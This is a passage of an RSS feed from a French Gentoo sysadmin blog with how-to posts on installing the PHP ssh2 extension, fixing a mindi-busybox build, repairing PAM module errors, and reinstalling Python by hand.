		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2008/01/29/installer-lextension-ssh2-dans-php-gentoo/</guid>
		<description><![CDATA[Pour installer l&#8217;extension Pecl ssh2 sous Gentoo, commencez par télécharger l&#8217;archive ssh2-0.10.tgz puis une fois décompressée: phpize &#38;amp;&#38;amp; configure --with-ssh2 Modifiez alors le fichier config.h et ajoutez en haut du fichier: #define LIBSSH2_APINO 200412301450 puis make et make install Plus qu&#8217;à ajouter l&#8217;extension dans /etc/php/cli-php4/php.ini et /etc/php/apache2-php4/php.ini extension=ssh2.so et /etc/init.d/apache2 restart ssh2-0.10 # php --info [...]]]></description>
			<content:encoded><![CDATA[<p>Pour installer l&#8217;extension Pecl ssh2 sous Gentoo, commencez par télécharger l&#8217;archive <a href="http://pecl.php.net/get/ssh2-0.10.tgz">ssh2-0.10.tgz</a> puis une fois décompressée:</p>
<pre class="brush: plain;">phpize &amp;amp;&amp;amp; configure --with-ssh2</pre>
<p>Modifiez alors le fichier config.h et ajoutez en haut du fichier:</p>
<pre class="brush: plain;">#define LIBSSH2_APINO 200412301450</pre>
<p>puis</p>
<pre class="brush: plain;">make et make install</pre>
<p>Plus qu&#8217;à ajouter l&#8217;extension dans /etc/php/cli-php4/php.ini et /etc/php/apache2-php4/php.ini</p>
<pre class="brush: plain;">extension=ssh2.so </pre>
<p>et</p>
<pre class="brush: plain;">/etc/init.d/apache2 restart
ssh2-0.10 # php --info | grep ssh2
Registered PHP Streams =&amp;gt; php, http, ftp, https, ftps, compress.bzip2, compress.zlib, ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp
ssh2
libssh2 version =&amp;gt; 0.18
banner =&amp;gt; SSH-2.0-libssh2_0.18
PWD =&amp;gt; /usr/local/src/ssh2-0.10
_SERVER[&quot;PWD&quot;] =&amp;gt; /usr/local/src/ssh2-0.10
_ENV[&quot;PWD&quot;] =&amp;gt; /usr/local/src/ssh2-0.10 </pre>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2008/01/29/installer-lextension-ssh2-dans-php-gentoo/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mindi-busybox-1.2.2 error: asm/page.h: No such file or directory</title>
		<link>http://www.oxeron.com/2007/12/19/vartmpportagesys-appsmindi-busybox-122workmindi-busybox-122util-linuxmkswapc4459-error-asmpageh-no-such-file-or-directory</link>
		<comments>http://www.oxeron.com/2007/12/19/vartmpportagesys-appsmindi-busybox-122workmindi-busybox-122util-linuxmkswapc4459-error-asmpageh-no-such-file-or-directory#comments</comments>
		<pubDate>Wed, 19 Dec 2007 21:39:54 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2007/12/19/vartmpportagesys-appsmindi-busybox-122workmindi-busybox-122util-linuxmkswapc4459-error-asmpageh-no-such-file-or-directory/</guid>
		<description><![CDATA[Sur un serveur Gentoo avec kernel 2.6.16-hardened-r10, mindi-busybox-1.2.2 refuse de compiler et j&#8217;obtiens: /var/tmp/portage/sys-apps/mindi-busybox-1.2.2/work/mindi-busybox-1.2.2/ util-linux/mkswap.c:44:59: error: asm/page.h: No such file or directory make: *** /var/tmp/portage/sys-apps/mindi-busybox-1.2.2/work/mindi-busybox-1.2.2/ util-linux/mkswap.o Error 1 Il suffit de modifier l&#8217;ebuild de cette façon: # Copyright 1999-2006 Gentoo Foundation # Distributed under the terms of the GNU General Public License v2 # $Id$ [...]]]></description>
			<content:encoded><![CDATA[<p>Sur un serveur Gentoo avec kernel 2.6.16-hardened-r10, mindi-busybox-1.2.2 refuse de compiler et j&#8217;obtiens:</p>
<div>
<pre class="brush: plain;">/var/tmp/portage/sys-apps/mindi-busybox-1.2.2/work/mindi-busybox-1.2.2/ util-linux/mkswap.c:44:59: error: asm/page.h: No such file or directory make: *** /var/tmp/portage/sys-apps/mindi-busybox-1.2.2/work/mindi-busybox-1.2.2/ util-linux/mkswap.o Error 1</pre>
</div>
<p>Il suffit de modifier l&#8217;ebuild de cette façon:</p>
<pre class="brush: plain;"># Copyright 1999-2006 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Id$

inherit eutils flag-o-matic

DESCRIPTION=&quot;The rescue part of a program that creates emergency boot disks/CDs using your kernel, tools and modules.&quot;
HOMEPAGE=&quot;http://www.mondorescue.org&quot;
SRC_URI=&quot;ftp://ftp.mondorescue.org/src/${P}.tar.gz&quot;
LICENSE=&quot;GPL-2&quot;
SLOT=&quot;0&quot;
KEYWORDS=&quot;~x86 ia64 -*&quot;
DEPEND=&quot;virtual/libc&quot;
RDEPEND=&quot;&amp;gt;=app-arch/bzip2-0.9
sys-devel/binutils&quot;

src_unpack() {
unpack ${A} || die &quot;Failed to unpack ${A}&quot;
cd ${P}
#    create a link to page.h in kernel dir
mkdir include/asm
mkdir include/asm-generic
mkdir include/linux

ln -s /usr/src/linux/include/asm/page.h include/asm/page.h
ln -s /usr/src/linux/include/asm-generic/page.h include/asm-generic/page.h
ln -s /usr/src/linux/include/linux/const.h include/linux/const.h
make oldconfig
}

src_compile() {
# work around broken ass powerpc compilers
emake EXTRA_CFLAGS=&quot;${CFLAGS}&quot; busybox || die &quot;build failed&quot;
}

src_install() {
# bundle up the symlink files for use later
emake PREFIX=&quot;${D}/usr/lib/mindi/rootfs&quot; install || die
}
</pre>
<p>puis</p>
<pre class="brush: plain;">aloyse mindi-busybox # ebuild mindi-busybox-1.2.2.ebuild digest
&lt;div&gt;&amp;gt;&amp;gt;&amp;gt; Creating Manifest for /usr/local/portage/sys-apps/mindi-busybox</pre>
</div>
<p>et enfin:
<pre class="brush: plain;">emerge =mindi-busybox-1.2.2</pre>
<p> et vous pouvez continuer avec l&#8217;installation de mindi puis mondoarchive.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2007/12/19/vartmpportagesys-appsmindi-busybox-122workmindi-busybox-122util-linuxmkswapc4459-error-asmpageh-no-such-file-or-directory/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PAM unable to dlopen(/lib/security/pam_unix.so)</title>
		<link>http://www.oxeron.com/2007/12/09/pam-unable-to-dlopenlibsecuritypam_unixso</link>
		<comments>http://www.oxeron.com/2007/12/09/pam-unable-to-dlopenlibsecuritypam_unixso#comments</comments>
		<pubDate>Sun, 09 Dec 2007 16:16:19 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2007/12/09/pam-unable-to-dlopenlibsecuritypam_unixso/</guid>
		<description><![CDATA[La version stable de pam sous Gento (sys-libs/pam-0.99) nécessite de recompiler certains outils qui ne sont pas identifiables avec revdep-rebuild (shadow, vixie-cron, openssh, courier-authlib, cyrus-sasl etc.). Ce genre de problème se manifeste dans vos logs systèmes par ce genre de message: Dec 9 00:00:01 aloyse cron[8986]: PAM unable to dlopen(/lib/security/pam_unix.so) &#60;div&#62;Dec 9 00:00:01 aloyse cron[8986]: [...]]]></description>
			<content:encoded><![CDATA[<p>La version stable de pam sous Gento (sys-libs/pam-0.99) nécessite de recompiler certains outils qui ne sont pas identifiables avec revdep-rebuild (shadow, vixie-cron, openssh, courier-authlib, cyrus-sasl etc.). Ce genre de problème se manifeste dans vos logs systèmes par ce genre de message:
<pre class="brush: plain;">Dec  9 00:00:01 aloyse cron[8986]: PAM unable to dlopen(/lib/security/pam_unix.so) &lt;div&gt;Dec  9 00:00:01 aloyse cron[8986]: PAM [dlerror: /lib/security/pam_unix.so: symbol pam_modutil_getlogin, version LIBPAM_MODUTIL_1.0 not defined in file libpam.so.0 with link time reference]&lt;/div&gt;&lt;div&gt;Dec  9 00:00:01 aloyse cron[8986]: PAM adding faulty module: /lib/security/pam_unix.so&lt;/div&gt;&lt;div&gt;Dec  9 00:00:01 aloyse cron[8986]: PAM unable to dlopen(/lib/security/pam_limits.so)&lt;/div&gt;&lt;div&gt;Dec  9 00:00:01 aloyse cron[8986]: PAM [dlerror: /lib/security/pam_limits.so: symbol pam_syslog, version LIBPAM_EXTENSION_1.0 not defined in file libpam.so.0 with link time reference]&lt;/div&gt;&lt;div&gt;Dec  9 00:00:01 aloyse cron[8986]: PAM adding faulty module: /lib/security/pam_limits.so&lt;/div&gt;Dec  9 00:00:01 aloyse cron[8986]: Module is unknown</pre>
<p> Utilisez qdepends pour trouver les packages à ré-émerger :
<pre class="brush: plain;">aloyse ~ # qdepends -Q pam&lt;div&gt;app-misc/screen-4.0.3&lt;/div&gt;&lt;div&gt;sys-process/vixie-cron-4.1-r9&lt;/div&gt;&lt;div&gt;sys-apps/shadow-4.0.18.1-r1&lt;/div&gt;&lt;div&gt;net-misc/openssh-4.7_p1-r1&lt;/div&gt;&lt;div&gt;net-dialup/ppp-2.4.4-r13&lt;/div&gt;&lt;div&gt;</pre>
</div>
<div> </div>
<div>Note: qpedends se toruve dans le package  portage-utils</div>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2007/12/09/pam-unable-to-dlopenlibsecuritypam_unixso/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Réinstaller Python sur un serveur Gentoo.</title>
		<link>http://www.oxeron.com/2007/12/04/reinstaller-python-sur-un-serveur-gentoo</link>
		<comments>http://www.oxeron.com/2007/12/04/reinstaller-python-sur-un-serveur-gentoo#comments</comments>
		<pubDate>Tue, 04 Dec 2007 10:06:48 +0000</pubDate>
		<dc:creator>Olivier PIERRE</dc:creator>
				<category><![CDATA[Serveurs Software]]></category>

		<guid isPermaLink="false">http://www.oxeron.com/2007/12/04/reinstaller-python-sur-un-serveur-gentoo/</guid>
		<description><![CDATA[Si par mégarde vous avez tapé la commande "emerge -C python", vous vous êtes rendu compte que emerge est écrit en python...]]></description>
			<content:encoded><![CDATA[<p>Si par mégarde vous avez tapé la commande &laquo;&nbsp;emerge -C python&nbsp;&raquo;, vous vous êtes rendu compte que emerge est écrit en python:</p>
<pre class="brush: plain;">emerge -av python -/bin/bash: /usr/bin/emerge: /usr/bin/python: bad interpreter: No such file or directory</pre>
<p>La solution, réinstaller Python à la main.</p>
<pre class="brush: plain;">
cd /root
wget http://distfiles.gentoo.org/distfiles/Python-2.5.1.tar.bz2
tar xjf Python-2.5.1.tar.bz2
cd Python-2.5.1
./configure --prefix=/usr --host=i686-pc-linux-gnu --mandir=/usr/share/man --infodir=/usr/share/info --datadir=/usr/share --sysconfdir=/etc --localstatedir=/var/lib --with-fpectl --enable-shared --infodir=${prefix}/share/info --mandir=${prefix}/share/man --with-libc= --enable-unicode=ucs4 --with-threads --build=i686-pc-linux-gnu
make
make install
</pre>
<p>et voilà ! Merci à Human Bomb pour m&#8217;avoir donné l&#8217;opportunité de trouver cette solution <img src='http://www.oxeron.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.oxeron.com/2007/12/04/reinstaller-python-sur-un-serveur-gentoo/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

